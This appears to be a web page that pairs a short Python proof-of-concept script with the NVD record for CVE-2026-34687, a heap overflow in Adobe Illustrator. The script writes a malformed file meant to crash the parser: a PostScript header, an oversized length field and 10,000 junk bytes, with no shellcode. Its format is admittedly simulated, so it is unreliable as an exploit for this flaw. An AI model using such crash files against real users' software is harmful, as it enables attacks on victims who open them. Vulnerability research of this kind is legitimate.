CVE-2026-34687

import struct # PoC for CVE-2026-34687 # This script generates a malformed file that may trigger a Heap-based Buffer Overflow. # It is intended for educational and defensive testing purposes only. def generate_malicious_file(filename): # Header for a generic file format (simulated) header = b'%PS-Adobe' # Malicious block: A length field indicating a large size # followed by actual data that exceeds the allocated buffer. # This attempts to trigger the overflow during parsing. length_field = struct.pack('<I', 0xFFFFFFFF) # The payload buffer (junk data to overflow) # In a real scenario, this would contain ROP chains and shellcode. payload = b'A' * 10000 with open(filename, 'wb') as f: f.write(header) f.write(length_field) f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("crash_CVE-2026-34687.ai")

{"cve": {"id": "CVE-2026-34687", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:11.630", "lastModified": "2026-05-12T19:13:32.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.7", "matchCriteriaId": "56AE3CDD-A779-4A9D-A50B-C956B3311FB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0", "versionEndExcluding": "30.4", "matchCriteriaId": "2B1BBF11-4ED3-463B-A870-05A929AFAFFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb26-51.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}